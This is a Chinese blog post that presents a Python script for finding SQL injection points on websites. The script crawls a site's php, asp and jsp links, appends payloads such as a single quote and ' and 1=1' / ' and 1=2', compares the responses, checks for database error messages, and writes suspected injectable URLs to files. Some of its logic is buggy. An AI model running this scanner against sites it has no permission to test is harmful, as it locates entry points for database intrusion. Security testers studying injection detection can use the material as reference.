python打造一个分析网站SQL注入的脚本

前言：

昨天晚上其实就已经写完代码。只不过向FB投稿了，打算延迟一晚上在写博客

所有才到今天早上写。好了，接下来进入正题。

思路：

1.从网站源码中爬取那些类适于:http://xxx.com/xx.php?id=xxx的链接

2.将这些爬取到的链接写入一个URL

3.加入payload

4.用正则过滤掉一些残缺不全的链接

5.将一些报错语句加入一个列表

6.从报错的语句中寻找错误

7.判断字符型注入或数字型注入

代码：

  1 import requests,re,time,os
  2 from tqdm import tqdm
  3 from bs4 import BeautifulSoup
  4 def zhuru():
  5     global x,headers,ps
  6     user=input(‘[+]Please enter the URL you want to test:‘) #用户输入要检测的网站
  7     url="{}".format(user.strip()) #去除两边的空格
  8     headers={‘User-Agent‘ : ‘Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.71 Safari/537.36‘}
  9     request=requests.get(url,headers) #浏览器头
 10     shoujiurl=[] #创建一个收集URL链接的列表
 11     rse=request.content
 12     gwd=BeautifulSoup(rse,‘html.parser‘)
 13     php=gwd.find_all(href=re.compile(r‘php\?‘)) #寻找后缀名为php的链接
 14     asp=gwd.find_all(href=re.compile(r‘asp\?‘)) #寻找后缀名为asp的链接
 15     jsp=gwd.find_all(href=re.compile(r‘jsp\?‘)) #寻找后缀名为jsp的链接
 16     print(‘[+]Collection URL ‘)
 17     for i in tqdm(range(1,500)): #进度条
 18         time.sleep(0.001) #进度条
 19     for lk in php:
 20         basd=lk.get(‘href‘) #提取其中的链接
 21         shoujiurl.append(basd) #加入列表
 22     for ba in asp:
 23         basd2=ba.get(‘href‘) #提取其中的链接
 24         shoujiurl.append(basd2) #加入列表
 25     for op in jsp:
 26         basd3=op.get(‘href‘) #提取其中的链接
 27         shoujiurl.append(basd3) #加入列表
 28     print(‘[+]Collection completed‘)
 29
 30
 31     huixian=[]
 32     huixian1 = "is not a valid MySQL result resource"
 33     huixian2 = "ODBC SQL Server Driver"
 34     huixian3 = "Warning:ociexecute"
 35     huixian4 = "Warning: pq_query[function.pg-query]"
 36     huixian5 = "You have an error in your SQL syntax"
 37     huixian6 = "Database Engine"
 38     huixian7 = "Undefined variable"
 39     huixian8 = "on line"
 40     huixian9 = "mysql_fetch_array():"
 41
 42     huixian.append(huixian1)
 43     huixian.append(huixian2)
 44     huixian.append(huixian3)
 45     huixian.append(huixian4)
 46     huixian.append(huixian5)
 47     huixian.append(huixian6)
 48     huixian.append(huixian7)
 49     huixian.append(huixian8)
 50     huixian.append(huixian9)
 51     for g in huixian:
 52         ps="".join(g) #过滤掉[]
 53
 54     payload0="‘"
 55     payload1="‘‘"
 56     payload2="%20and%201=1"
 57     payload3="%20and%201=2"
 58     for x in shoujiurl:
 59         yuan="".join(x) #过滤掉[]
 60         ssdx="".join(x)+payload0 #添加payload
 61         ssdx2="".join(x)+payload1
 62         ssdx3="".join(x)+payload2
 63         ssdx4="".join(x)+payload3
 64         pdul=re.findall(‘[a-zA-z]+://[^\s]*‘,ssdx) #过滤掉一些残缺不全的链接
 65         pdul2=re.findall(‘[a-zA-z]+://[^\s]*‘,ssdx2)
 66         pdul3=re.findall(‘[a-zA-z]+://[^\s]*‘,yuan)
 67         pdul4=re.findall(‘[a-zA-z]+://[^\s]*‘,ssdx3)
 68         pdul5=re.findall(‘[a-zA-z]+://[^\s]*‘,ssdx4)
 69         psuw="".join(pdul) #过滤掉[]
 70         psuw2="".join(pdul2)
 71         psuw3="".join(pdul3)
 72         psuw4="".join(pdul4)
 73         psuw5="".join(pdul5)
 74         try:
 75             resg=requests.get(url=psuw,headers=headers,timeout=6)
 76             resg2=requests.get(url=psuw2,headers=headers,timeout=6)
 77             resg3=requests.get(url=psuw3,headers=headers,timeout=6)
 78             resg4=requests.get(url=psuw4,headers=headers,timeout=6)
 79             resg5=requests.get(url=psuw5,headers=headers,timeout=6)
 80             if resg.status_code == 200: #判断状态码是否等于200
 81                 print(‘[+]The first step is completed, and the goal is to be stable‘)
 82                 time.sleep(1)
 83                 if resg.content != resg2.content and resg3.content == resg2.content:  #判断是不是字符型注入
 84
 85                     print(‘[+]Existence of character injection‘)
 86                     print(resg3.url)
 87                     print(resg3.url,file=open(‘character.txt‘,‘a‘)) #如果是写入脚本
 88                 elif resg4.content != resg5.content and resg4.content == resg3.content: #判断是不是数字型注入
 89                     print(‘[+]Digital injection‘)
 90                     print(resg3.url)
 91                     print(resg3.url,file=open(‘injection.txt‘,‘a‘)) #如果是写入脚本
 92                 else: #两者都不是
 93                     print(‘[+]Sorry, not character injection‘)
 94                     print(‘[+]Sorry, not Digital injection‘)
 95                     print(resg3.url)
 96                 if ps in str(resg2.content):
 97                     print(‘[+]The wrong sentence to be found‘,ps)
 98             elif resg.status_code != 200:
 99                 print(‘http_stode:‘,resg.status_code)
100                 print(‘[-]Sorry, I cant tell if there is an injection‘)
101         except:
102           pass
103
104
105 zhuru()

测试结果如下：

原文地址：https://www.cnblogs.com/haq5201314/p/8972950.html